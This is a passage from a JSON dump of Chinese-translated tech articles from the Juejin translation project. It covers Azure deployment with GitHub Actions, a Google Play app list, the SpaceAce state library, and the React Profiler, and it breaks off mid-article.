${APPID}-group -n ${APPID}-plan --sku FREE\n\necho \"Creating webapp ${APPID}\"\naz webapp create -g ${APPID}-group -p ${APPID}-plan -n ${APPID} --deployment-local-git\n\necho \"Getting username/password for deployment\"\nDEPLOYUSER=`az webapp deployment list-publishing-profiles -n ${APPID} -g ${APPID}-group --query '[0].userName' -o tsv`\nDEPLOYPASS=`az webapp deployment list-publishing-profiles -n ${APPID} -g ${APPID}-group --query '[0].userPWD' -o tsv`\n\ngit remote add azure https://${DEPLOYUSER}:${DEPLOYPASS}@${APPID}.scm.azurewebsites.net/${APPID}.git\n\ngit push azure master\n```\n\n这个文件有几点有趣的东西要注意：\n\n*   shell 脚本中的 `set -e` 确保如果有任何事情发生异常，文件其余部分则不会运行。\n*   随后的“Getting username/password”行看起来有点棘手 —— 实际上他们做的是从 [Azure 的发布文档 ](https://docs.microsoft.com/en-us/cli/azure/webapp/deployment?view=azure-cli-latest&WT.mc_id=actions-csstricks-sdras#az-webapp-deployment-list-publishing-profiles)中抽取用户名和密码。我们可以在随后要使用 remote add 的行中使用它。\n*   你也许会注意到有些行我们传入了 `-o tsv`，这是[格式化代码](https://docs.microsoft.com/en-us/cli/azure/format-output-azure-cli?view=azure-cli-latest&WT.mc_id=actions-csstricks-sdras)，所以我们可以把它直接传进环境变量，如 tsv 脚本剔除多余的头部信息等等。\n\n现在我们开始着手 `main.workflow` 文件！\n\n```\nworkflow \"New workflow\" {\n  on = \"push\"\n  resolves = [\"Deploy to Azure\"]\n}\n\naction \"Deploy to Azure\" {\n  uses = \"./.github/azdeploy\"\n  secrets = [\"SERVICE_PASS\"]\n  env = {\n    SERVICE_PRINCIPAL=\"http://sdrasApp\",\n    TENANT_ID=\"72f988bf-86f1-41af-91ab-2d7cd011db47\",\n    APPID=\"sdrasMoonshine\"\n  }\n}\n```\n\n这段流程代码对你来说应该很熟悉 —— 它在 on push 时启动并且执行叫“Deploy to Azure”的 action。\n\n[`uses` 指向内部的目录](https://developer.github.com/actions/creating-workflows/workflow-configuration-options/#using-a-dockerfile-image-in-an-action)，在这个目录我们存放其他文件。我们需要添加一个秘钥，来让我们在 App 里存放密码。我们把这个叫服务密码，并且我们会在设置里添加配置它：\n\n![在设置中添加秘钥](https://css-tricks.com/wp-content/uploads/2018/10/Screen-Shot-2018-10-16-at-10.20.35-PM.png)\n\n最终，我们有了需要运行命令的所有环境变量。我们可以从之前[创建 App 服务账户](#article-header-id-2)获得它们。先前的 `tenant` 变成了 `TENANT_ID`，`name` 变成了 `SERVICE_PRINCIPAL`，并且 `APPID` 由你来命名 :)\n\n现在你也可以使用这个 action 工具！所有的代码在[这个仓库中开源](https://github.com/sdras/example-azure-node/)。只要记住由于我们手动创建 `main.workflow`，你将必须同时手动编辑 main.workflow 文件里的环境变量 —— 一旦你停止使用 GUI，它的工作方式将和之前不再一样。\n\n这里你可以看到项目部署的非常好并且状态良好，每当推送到 master 时我们的 “Hello World” App 都可以重新部署啦 🎉\n\n![工作流运行成功](https://css-tricks.com/wp-content/uploads/2018/10/Screen-Shot-2018-10-16-at-10.55.35-PM.png)\n\n![Hello Word App 的截图](https://css-tricks.com/wp-content/uploads/2018/10/Screen-Shot-2018-10-16-at-10.56.03-PM.png)\n\n### 改变游戏规则\n\nGitHub Actions 并不仅仅只是关于网站，尽管你可以看到它们对它们有多么方便。这是一种全新的思考方式，关于我们怎样处理基础设施，事件甚至托管的方式。在这个模型中需要考虑 Docker。\n\n通常，当你创建 Dockerfile 时，你必须编写 Dockerfile，使用 Docker 创建镜像，然后将映像推送到某处，以便托管供其他人下载。在这个范例中，你可以将它指向一个包含现有 Docker 文件的 git 仓库，或者直接托管在 Docker 上的东西。\n\n你也不需要在任何地方托管镜像，因为 GitHub 会为你即时构建。这使得 GitHub 生态系统中的所有内容都保持开放，这对于开源来说是巨大的，并且可以更容易地 fork 和共享。你还可以将 Dockerfile 直接放在你的操作中，这意味着你不必为这些 Dockerfiles 维护单独的仓库。\n\n总而言之，这非常令人兴奋。部分原因在于灵活性：一方面，你可以选择使用大量抽象并使用 GUI 和现有操作创建所需的工作流，另一方面，你可以在容器内自己编写代码，构建和微调任何想要的内容，甚至将多个可重用的自定义 action 链接在一起。全部在一个地方托管你的代码。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-new-android-excellence-apps.md",
    "content": "> * 原文地址：[Introducing new Android Excellence apps and games on Google Play](https://android-developers.googleblog.com/2018/04/introducing-new-android-excellence-apps.html)\n> * 原文作者：[android-developers](https://android-developers.googleblog.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-new-android-excellence-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-new-android-excellence-apps.md)\n> * 译者：[sisibeloved](https://github.com/sisibeloved)\n> * 校对者：[Starriers](https://github.com/Starriers)、[DAA233](https://github.com/DAA233)\n\n# 介绍 Google Play 上新的优质 Android 应用与游戏\n\n祝贺这些[应用](https://play.google.com/store/apps/topic?id=campaign_editorial_3002b4f_android_excellence_apps&hl=en)和[游戏](https://play.google.com/store/apps/topic?id=campaign_editorial_3002b50_android_excellence_games&hl=en)入选了 Google Play 上最新一期的 Android 优质应用。作为应用推荐，这个列表每三个月更新一次，筛选出高质量、用户体验优秀或是有强劲专业表现的应用和游戏。\n\n[![](https://3.bp.blogspot.com/-WKwBKUfq5lA/WsUNQfbmhuI/AAAAAAAAFMA/KH6RE2zupHMzTb2fAm_4jsjAbP8L8lr4wCLcBGAs/s1600/image1.jpg)](https://3.bp.blogspot.com/-WKwBKUfq5lA/WsUNQfbmhuI/AAAAAAAAFMA/KH6RE2zupHMzTb2fAm_4jsjAbP8L8lr4wCLcBGAs/s1600/image1.jpg)\n\n如果你想浏览一些新应用，以下是一些精品：\n\n*   [Adobe Photoshop Lightroom CC](https://play.google.com/store/apps/details?id=com.adobe.lrmobile)：通过 Lightroom 强大的能力在移动设备上拍摄，编辑并分享你的照片。你可以通过预设的设置来进行一些简单快速地编辑，也可以深入研究许多高级编辑工具。\n*   [Seven - 7 Minute Workout Training Challenge](https://play.google.com/store/apps/details?id=se.perigee.android.seven)：在你紧张忙碌的生活中使用这个应用进行七分钟的锻炼。不论何时何地，利用你的手机或者可穿戴设备来健身。坚持下来，获取成就，加入 7 俱乐部获取更多帮助。\n*   [SoloLearn: Learn to Code for Free](https://play.google.com/store/apps/details?id=com.sololearn)：加入拥有百万人的社区，学习一门新的编程语言。点击联系 24/7 专项客服，或者创建一门课程来成为社区的引领者。\n\n我们也加入了一些不错的新游戏：\n\n*   [CodyCross: Crossword Puzzles](https://play.google.com/store/apps/details?id=com.fanatee.cody)：试试这个全新的填字游戏！免费游玩冒险模式或者订购主题包，内含丰富的高难度关卡并每周更新。\n*   [MARVEL Contest of Champions](https://play.google.com/store/apps/details?id=com.kabam.marvelbattle)：在漫威宇宙中的标志性地点和你最爱的漫威超级英雄和超级恶棍一起游戏！组建你的英雄团队来体验精彩的故事剧情，还可以与你的朋友建立同盟。\n*   [Orbital 1](https://play.google.com/store/apps/details?id=com.etermax.orbital1)：在这个 3D 场景绚烂的实时多人在线游戏中磨练你的技巧吧！收集并升级勇士和武器，构建最强小队，参与快速竞技场并完成每日任务。\n\n以下是完整的 Android 优质应用和游戏的表单：\n\n| **新的 Android 优质应用** | **新的 Android 优质游戏** |\n| ------------------------------- | -------------------------------- |\n| [Adobe Photoshop Lightroom CC](https://play.google.com/store/apps/details?id=com.adobe.lrmobile) | [Angry Birds 2](https://play.google.com/store/apps/details?id=com.rovio.baba&hl=en&e=-EnableAppDetailsPageRedesign) |\n| [Dashlane](https://play.google.com/store/apps/details?id=com.dashlane) | [Azur Lane](https://play.google.com/store/apps/details?id=com.YoStarJP.AzurLane&hl=en&e=-EnableAppDetailsPageRedesign) アズールレーン |\n| [Holstelworld](https://play.google.com/store/apps/details?id=com.hostelworld.app) | [CodyCross](https://play.google.com/store/apps/details?id=com.fanatee.cody) |\n| [iCook](https://play.google.com/store/apps/details?id=com.polydice.icook) | [Into the Dead 2](https://play.google.com/store/apps/details?id=com.pikpok.dr2.play&e=-EnableAppDetailsPageRedesign) |\n| [Keeper Password Manager](https://play.google.com/store/apps/details?id=com.callpod.android_apps.keeper) | [Little Panda Restaurant](https://play.google.com/store/apps/details?id=com.sinyee.babybus.restaurant) |\n| [Keepsafe Photo Vault](https://play.google.com/store/apps/details?id=com.kii.safe) | [MARVEL Contest of Champions](https://play.google.com/store/apps/details?id=com.kabam.marvelbattle) |\n| [Mobisystems OfficeSuite](https://play.google.com/store/apps/details?id=com.mobisystems.office) | [Orbital 1](https://play.google.com/store/apps/details?id=com.etermax.orbital1) |\n| [PhotoGrid](https://play.google.com/store/apps/details?id=com.roidapp.photogrid&ddl=1&pcampaignid=web_ddl_1&e=-EnableAppDetailsPageRedesign) | [Rooms of Doom](https://play.google.com/store/apps/details?id=com.yodo1.roda) |\n| [Runtastic Results](https://play.google.com/store/apps/details?id=com.runtastic.android.results.lite&sticky_source_country=US&e=-EnableAppDetailsPageRedesign) | [Sky Dancer Run](https://play.google.com/store/apps/details?id=pine.game.skydancer) |\n| [Seven - 7 Minute Workout Training Challenge](https://play.google.com/store/apps/details?id=se.perigee.android.seven) | [Sling Kong](https://play.google.com/store/apps/details?id=com.protostar.sling) |\n| [SoloLearn: Learn to Code for Free](https://play.google.com/store/apps/details?id=com.sololearn) | [Soul Knight](https://play.google.com/store/apps/details?id=com.ChillyRoom.DungeonShooter) |\n| [Tube Map](https://play.google.com/store/apps/details?id=com.mxdata.tube.Market) |  |\n| [WPS Office](https://play.google.com/store/apps/details?id=cn.wps.moffice_eng) |  |\n\n在 Google Play [编辑精选](https://play.google.com/store/apps/topic?id=editors_choice)板块发现更多优质应用和游戏或者查看[探索更好的用户体验](https://developer.android.com/distribute/best-practices/index.html)来帮助你构建高质量的应用和游戏。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-spaceace-a-new-kind-of-front-end-state-library.md",
    "content": "> * 原文地址：[Introducing SpaceAce, a new kind of front-end state library](https://medium.com/dailyjs/introducing-spaceace-a-new-kind-of-front-end-state-library-5215b18adc11)\n> * 原文作者：[Jon Abrams](https://medium.com/@jonathanabrams?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-spaceace-a-new-kind-of-front-end-state-library.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-spaceace-a-new-kind-of-front-end-state-library.md)\n> * 译者：[Noah Gao](https://noahgao.net)\n> * 校对者：[Hopsken](https://hopsken.com/)\n\n# SpaceAce 了解一下，一个新的前端状态管理库\n\n开发前端应用的大家都知道，状态管理是开发中最重要，最具挑战性的一部分。目前流行的基于组件的视图库，如 React，包括功能齐全的（最基本的）状态管理能力。它们使应用中的每个组件都能够管理自己的状态。这对于小型应用程序来说足够了，但你很快就会感到挫败。因为决定哪些组件具有状态以及如何在组件之间共享来自每个状态的数据将会成为一个挑战。最后还要弄清楚状态是如何或为何被改变。\n\n为了解决面向组件状态的上述问题，Redux 一类的库被引入。它们将该状态集中到一个集中的“store”中，每个组件都可以读写它。为了维护顺序，他们将改变状态的逻辑集中到应用程序的中心部分，称为 [**reducer**](https://redux.js.org/basics/reducers)，使用 **actions** 调用它们，并使其产生新的状态副本。它非常有效，但学习曲线很高，需要大量的样板代码，并强迫你将更新状态的代码与渲染视图的代码分开。\n\n[SpaceAce](https://github.com/JonAbrams/SpaceAce) 是一个新的库，它具有 Redux 的所有优点，例如集中的 store，不可变状态，单向数据流，明确定义的 actions，它 **还** 极大地简化了代码更新 store 中状态的方式。\n\n我们已经在 [Trusted Health](https://www.trustedhealth.com/) 的主 React 应用上用 SpaceAce 来管理状态将近一年了，取得了巨大的成功。我们的工程师团队相对较小（只有三个人），它在不加大代码复杂度和牺牲可测试性的基础上，加速了我们的功能开发。\n\n### SpaceAce 是什么？\n\nSpaceAce 提供一个状态管理的 **store** 叫做一个 **space**。一个 space 包括只读（不可变）的状态，还有一些用于更新它的工具集。但是这个 store 里面不只是 **有** 状态，而是它本身就 **是** 状态。同时，他还提供了很多方法来生成新版本的状态。怎么做到？是一些带有属性的函数！很多 JS 开发者不知道 JS 函数也是对象。只是它能执行而已，所以它也能有一些属性，就像对象一样（因为它就是个对象！）。\n\n每个 space 都是一个有属性的不可变对象，但是只能被读取，不能直接写入。每个 space **也是** 一个函数，能够创建应用改动后的状态副本。\n\n最后，放个例子：\n\n```javascript\nimport Space from 'spaceace';\n\nconst space = new Space({\n    appName: \"SpaceAce demoe\",\n    user: { name: 'Jon', level: 9001 }\n});\n\nconst newSpace = space({ appName: \"SpaceAce demo\" });\n\nconsole.log(`Old app name: ${space.appName}, new app name: ${newSpace.appName}`);\n```\n\n将会输出：“Old app name: SpaceAce demoe, new app name: SpaceAce demo”\n\n上面的例子展示了如何创建一个 space 并通过调用它将一个对象合并到状态来直接“更改”它。这和 [React 的 setState](https://itnext.io/react-setstate-usage-and-gotchas-ac10b4e03d60) 很像，应用了一次浅合并。记住，原本的 space 并没有变化，只是被一个应用了改动的副本给替换了。\n\n然而，这对应用在有新状态时需要进行重新渲染的场景来说，没用。为了让解决这个场景更简单，一个 **subscribe** 函数被提供出来。它能在相关 space 被“改动”时去调用回调：\n\n```javascript\nimport Space, { subscribe } from 'spaceace';\n\nconst space = new Space({\n    appName: \"SpaceAce demoe\",\n    user: { name: 'Jon', level: 9001 }\n});\n\nsubscribe(space, ({ newSpace, causedBy }) => {\n  console.log(`State updated by ${causedBy}`);\n  ReactDOM.render(\n    <h1>{newSpace.appName}</h1>, \n    document.getElementById('app')\n  );\n});\n\n// 将使 React 重新渲染\nspace({ appName: \"SpaceAce demo\" });\n```\n\n大多数情况下，状态都是因为用户做的事情而发生变化。比如，他们单击一个复选框、从下拉列表中选择一个选项或填入一个字段。SpaceAce 通过这些简单的交互来更新状态 **非常简单**。如果使用字符串调用 space，它将生成并返回处理函数：\n\n```javascript\nexport const PizzaForm = ({ space }) => (\n  <form>\n    <label>Name</label>\n    <input\n      type=\"text\"\n      value={space.name || ''}\n      onChange={space('name')} // 当用户输入时，`space.name` 会被更新\n    />\n    <label>Do you like pizza?</label>\n    <input\n      type=\"checkbox\"\n      checked={space.pizzaLover || false}\n      onChange={space('pizzaLover')} // 分配 true 或 false 给 `space.pizzaLover`\n     />\n  </form>\n);\n```\n\n虽然大多数应用只有许多简单的交互，但它们有时也会包含一些复杂的 action。SpaceAce 允许你自定义 action，所有 action 都与组件在同一文件中。调用时，会为这些 action 提供一个对象，其中包含用于更新状态的便捷函数：\n\n```javascript\nimport { fetchPizza } from '../apiCalls';\n\n/*\n  handleSubmit 是一个自定义 action。\n  第一个参数由 SpaceAce 提供。\n  其余参数是需要传入的，\n  在这个案例中由 React 的事件对象组成。\n*/\nconst handleSubmit = async ({ space, merge }, event) => {\n  event.preventDefault();\n\n  // merge 函数将进行浅合并，允许一次分配多个属性\n  merge({ saving: true }); // 立即更新 space，将触发重新渲染\n\n  const { data, error } = await fetchPizza({ name: space.name });\n  if (error) return merge({ error: errorMsg, saving: false });\n\n  merge({\n    saving: false,\n    pizza: data.pizza // 期待得到 'Pepperoni'\n  });\n};\n\n/*\n  handleReset 是另一个自定义 action。\n  这个函数可以用来将 space 的所有属性抹除，\n  将它们用另一些替换掉。\n*/\nconst handleReset = ({ replace }) => {\n  replace({\n    name: '',\n    pizzaLover: false\n  });\n};\n\nexport const PizzaForm = ({ space }) => (\n  <form onSubmit={space(handleSubmit)}>\n    {/* ... 一些 input 元素 */}\n    <p className=\"error\">{space.errorMsg}</p>\n    {space.pizza && <p>You’ve been given: {space.pizza}</p>}\n    <button disabled={space.saving} type=\"submit\">Get Pizza</button>\n    <button disabled={space.saving} type=\"button\" onClick={space(handleReset)}>Reset</button>\n  </form>\n);\n```\n\n你可能会注意到，所有这些改变 space 状态的方式都会假定状态相对较浅，但如果每个应用程序只有一个 space，那怎么可能呢？不可能的！每个 space 都可以有任意数量的 sub-space，它们也只是 space，但它们有父级。每当更新其中一个 sub-space 时，改动会冒泡，一旦更改到达根 sapce，就会触发应用的重新渲染。\n\n有关子 space 最棒的地方在于，你不用特地去制造它，它将在你··访问 space 中的对象或是数组时，自动被创建出来：\n\n```javascript\nconst handleRemove = ({ remove }, itemToBeRemoved) => {\n  // `remove` 将在数组型 space 中可用，\n  // 它将为每个元素运行回调。\n  // 如果回调的结果是 true，元素将被删除。\n  remove(item => item === itemToBeRemoved);\n};\n\n/*\n  一个购物车的 space 将是一个物品的数组，\n  每个物品都是对象，它也将是一个 space。\n*/\nexport const ShoppingCart = ({ space }) => (\n  <div>\n    <ul>\n      {space.map(item => (\n        <li key={item.uuid}>\n          <CartItem\n            space={item}\n            onRemove={space(handleRemove).bind(null, item)}\n           />\n        </li>\n      )}\n    </ul>\n  </div>\n);\nconst CartItem = ({ space, onRemove }) => (\n  <div>\n    <strong>{space.name}</strong>\n    <input\n      type=\"number\"\n      min=\"0\"\n      max=\"10\"\n      onChange={space('count')}\n      value={space.count}\n     />\n    <button onClick={onRemove}>Remove</button>\n  </div>\n);\n```\n\n还有很多功能可以继续探索，我很快就会分享这些有趣的技巧。请继续关注我的下一篇文章！\n\n与此同时，你可以在 [Github 上的代码和文档](https://github.com/JonAbrams/SpaceAce) 中了解更多信息，也可以 [让我知道你的想法](https://twitter.com/JonathanAbrams)！\n\n感谢 [Zivi Weinstock](https://medium.com/@z1v1?source=post_page) 的付出。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-the-react-profiler.md",
    "content": "> * 原文地址：[Introducing the React Profiler](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html)\n> * 原文作者：[Brian Vaughn](https://github.com/bvaughn)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-the-react-profiler.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-the-react-profiler.md)\n> * 译者：[CoderMing](https://github.com/coderming)\n> * 校对者：[CoolRice](https://github.com/CoolRice)\n\n# React Profiler 介绍\n\nReact 16.5 添加了对新的 profiler DevTools 插件的支持。这个插件使用 React 的 [Profiler 实验性 API](https://github.com/reactjs/rfcs/pull/51) 去收集所有 component 的渲染时间，目的是为了找出你的 React App 的性能瓶颈。它将会和我们即将发布的 [时间片](https://reactjs.org/blog/2018/03/01/sneak-peek-beyond-react-16.html) 特性完全兼容。（译者注：可以参考 [Dan 在第一届中国 React 开发者大会上的视频](https://v.qq.com/x/page/i0763tiywrf.html)）\n\n这篇博文包括以下的话题：\n\n*   [Profile 一个 APP](#profile-一个-app)\n*   [查看性能数据](#查看性能数据)\n    *   [浏览 commits](#浏览-commits)\n    *   [筛选 commits](#筛选-commits)\n    *   [火焰图](#火焰图)\n    *   [排序图](#排序图)\n    *   [Component 图](#component-图)\n    *   [交互动作（Interactions）](#交互动作interactions)\n*   [常见问题 & 解决方法](#常见问题--解决方法)\n    *   [选择的根元素下没有 profile 数据被记录](#选择的根元素下没有-profile-数据被记录)\n    *   [选中的 commit 记录没有展示时间数据](#选中的-commit-记录没有时间数据可以展示)\n\n## Profile 一个 APP\n\nDevTools 将会对支持新的 profiling API 的 APP 新加一个 “Profiler” tab 列：\n\n[![New DevTools ](https://reactjs.org/static/devtools-profiler-tab-4da6b55fc3c98de04c261cd902c14dc3-acf85.png)](https://reactjs.org/static/devtools-profiler-tab-4da6b55fc3c98de04c261cd902c14dc3-53c76.png) \n\n> Note：`react-dom` 16.5+ 在 DEV 模式下才支持 Profiling，同时生产环境下也可以通过一个 profiling bundle `react-dom/profiling` 来支持。请在 [fb.me/react-profiling](https://fb.me/react-profiling) 上查看如何使用这个 bundle。\n\n这个 “Profiler” 的面板在刚开始的时候是空的。你可以点击 record 按钮来启动 profile：\n\n[![Click ](https://reactjs.org/static/start-profiling-bae8d10e17f06eeb8c512c91c0153cff-acf85.png)](https://reactjs.org/static/start-profiling-bae8d10e17f06eeb8c512c91c0153cff-53c76.png) \n\n当你开始记录之后，DevTools 将会自动收集你 APP 在（启动之后）每一刻的性能数据。（在记录期间）你可以和平常一样使用你的 APP，当你完成 profile 之后，请点 “Stop” 按钮。\n\n[![Click ](https://reactjs.org/static/stop-profiling-45619de03bed468869f7a0878f220586-acf85.png)](https://reactjs.org/static/stop-profiling-45619de03bed468869f7a0878f220586-53c76.png) \n\n如果你的 APP 在 profile 期间重新渲染了几次，DevTools 将会提供好几种方法去查看性能数据。我们将会 [在接下来讨论它们](#reading-performance-data)。\n\n## 查看性能数据\n\n### 浏览 commits\n\n从概念上讲，React 的运行分为两个阶段：\n\n*   在 **render** 阶段会确定例如 DOM 之类的数据需要做那些变化。在这个阶段，React 将会执行（各个组件的）`render` 方法，之后会计算出和调用 `render` 方法之前有哪些变化。\n*   **commit** 阶段是 React 提交任何更改所在的阶段（在 React DOM 下，就是指 React 添加、修改和移除 DOM 节点的时候）。同时在这个阶段，React 会执行像 `componentDidMount` 和 `componentDidUpdate` 这类周期函数。\n\n（译者注：此处可参考 [React.js 小书第 18-20 篇](http://huziketang.mangojuice.top/books/react/lesson18)）\n\nprofiler DevTools 是在 commit 阶段收集性能数据的。各次 commit 会被展示在界面顶部的条形图中：\n\n[![Bar chart of profiled commits](https://reactjs.org/static/commit-selector-bd72dec045515d59be51c944e902d263-8ef72.png)](https://reactjs.org/static/commit-selector-bd72dec045515d59be51c944e902d263-8ef72.png) \n\n在条形图中，每一列都表示单次的 commit 数据，你当前选中的 commit 列会变成黑色。你可以点击各个列（或者是左/右切换按钮）来查看不同的 commit 数据。\n\n这些列的颜色和高度对应着该次 commit 在渲染上所花的时间（较高、偏黄的列会比较矮、偏蓝的列花费的时间多）。\n\n### 筛选 commits\n\n你 profile 的记录时间越长，渲染次数就会越多。有时候你或许会被过多的（价值低的）commit 记录干扰。为了帮助你解决这个问题，profiler 提供了一个筛选功能。用它来制定一个时间阀值，之后 profiler 会隐藏所有比这个阀值**更快**的 commit。\n\n![Filtering commits by time](https://reactjs.org/filtering-commits-683b9d860ef722e1505e5e629df7ef7e.gif)\n\n### 火焰图\n（译者注：[阮一峰：如何读懂火焰图？](http://www.ruanyifeng.com/blog/2017/09/flame-graph.html)）\n\n火焰图会展示你所指定的那一次 commit 的信息。图中每一列都代表了一个 React component（例如下图中的 `App`、`Nav`）。各列的尺寸和颜色表示这列所代表的 component 及其 children 的渲染时间（列的宽度表示该 component 最近一次渲染所花费的时间，列的颜色代表在该次 commit 中渲染所花费的时间）。\n\n[![Example flame chart](https://reactjs.org/static/flame-chart-3046f500b9bfc052bde8b7b3b3cfc243-acf85.png)](https://reactjs.org/static/flame-chart-3046f500b9bfc052bde8b7b3b3cfc243-53c76.png) \n\n> Note：\n> \n> 列的宽度表示 component（和它的 children）最近一次渲染所花费的时间。如果这个 component 在本次 commit 中没有被重新渲染，那其所展示的时间表示上一次 render 的耗时。一个列越宽，其所代表的 component 渲染耗时就越长。\n> \n> 列的颜色表示在本次 commit 中该 component（和它的 children）所花费的时间。黄色代表耗时较长、蓝色代表耗时较短，灰色代表该 component 在这次 commit 中没有被（重新）渲染。\n\n举个例子，上图中所展示的 commit 总共渲染耗时为 18.4 ms。`Router` component 是渲染成本“最昂贵”的 component（花费了 18.4 ms）。他所花费的时间大部分在两个 children 上：`Nav`（8.4 ms）和 `Route` (7.9 ms)。剩下的时间用于它的其他 children 和它自身的渲染。\n\n你可以通过点击 component 列来放大或缩小火焰图：\n\n![Click on a component to zoom in or out](https://reactjs.org/zoom-in-and-out-39ba82394205242af7c37ccb3a631f4d.gif)\n\n点击一个 component 的同时也会选中它，它的具体信息将会展示在右边的数据列，列里会展示该 component 在这次 commit 时的 `props` 和 `state`。你可以去深入研究这些数据来找出这次 commit 具体做了哪些。\n\n![Viewing a component's props and state for a commit](https://reactjs.org/props-and-state-1f4d023f1a0f281386625f28df87c78f.gif)\n\n某些情况下，选中一个 component 后在不同的 commit 之间切换也可以发现触发这次渲染的原因：\n\n![Seeing which values changed between commits](https://reactjs.org/see-which-props-changed-cc2a8b37bbce52c49a11c2f8e55dccbc.gif)\n\n上图表示在两次 commit 中 `state.scrollOffset` 被改变了。这或许就是触发 `List` component 重绘的原因。\n\n### 排序图\n\n同火焰图一样，排序图也会展示你所指定的那一次 commit 的信息，图中每一列都代表了一个 React component（例如下图中的 `App`、`Nav`）。不同的是排序图是有顺序的，耗时最长的 component 会展示在第一行。\n\n [![Example ranked chart](https://reactjs.org/static/ranked-chart-0c81347535e28c9cdef0e94fab887b89-acf85.png)](https://reactjs.org/static/ranked-chart-0c81347535e28c9cdef0e94fab887b89-53c76.png) \n\n> Note：\n> \n> 一个 component 的渲染时间也包括了它的 children 们消耗的时间，所以渲染耗时最长的 component 通常距离树顶部最近。\n\n和火焰图一样，你可以通过点击 component 列来放大或缩小排序图（译者注：排序图只会展示在本次 commit 中被触发重绘的 component）。\n\n### Component 图\n\n在你 profile 的过程中，使用该图查看单一 component（在多次 commit 中）的渲染时间有时候是非常有用的。Component 图会以一个列的形式展示，其中每一列都表示你所选择的 component 的某一次 commit 下的渲染时间。每列高度和颜色都表示该 component 在某次 commit 中**同其它组件**的耗时对比。\n\n [![Example component chart](https://reactjs.org/static/component-chart-d71275b42c6109e222fbb0932a0c8c09-acf85.png)](https://reactjs.org/static/component-chart-d71275b42c6109e222fbb0932a0c8c09-53c76.png) \n\n上图表明 List component 渲染了 11 次。同时还表明 List 在每次渲染中是最“昂贵”的组件。（译者注：此处是通过列的颜色判断）\n\n查看这种图的方法有两种：双击一个 component 或者是选中一个 component 后点击在右边列中的蓝色表格按钮。你可以通过点击右边列的 “x” 按钮来返回原图，当然你也可以双击 Component 图中的某一列来查看那次 commit 的更多信息。\n\n![How to view all renders for a specific component](https://reactjs.org/see-all-commits-for-a-fiber-99cb4321ded8eb0c21ae5fc673878563.gif)\n\n如果你所选中的 component 在 profile 期间从来没被渲染过，则会显示下面的信息：\n\n[![No render times for the selected component](https://reactjs.org/static/no-render-times-for-selected-component-8eb0c37a13353ef5d9e61ae8fc040705-acf85.png)](https://reactjs.org/static/no-render-times-for-selected-component-8eb0c37a13353ef5d9e61ae8fc040705-53c76.png) \n\n### 交互动作（Interactions）\n\nReact 最近添加了一个 [实验性 API](https://fb.me/react-interaction-tracking)，目的是为了追踪引起更新的原因。被这些API所追踪的“交互动作”也会展示在 profiler 里：\n\n[![The interactions panel](https://reactjs.org/static/interactions-a91a39ac076b71aa7a202aaf46f8bd5a-acf85.png)](https://reactjs.org/static/interactions-a91a39ac076b71aa7a202aaf46f8bd5a-53c76.png) \n\n上图展现了一个 profile 期间被追踪的 4 个交互动作。每行都展示了一个追踪的交互动作。每行里带有颜色的点表示与其交互动作所对应的 commit 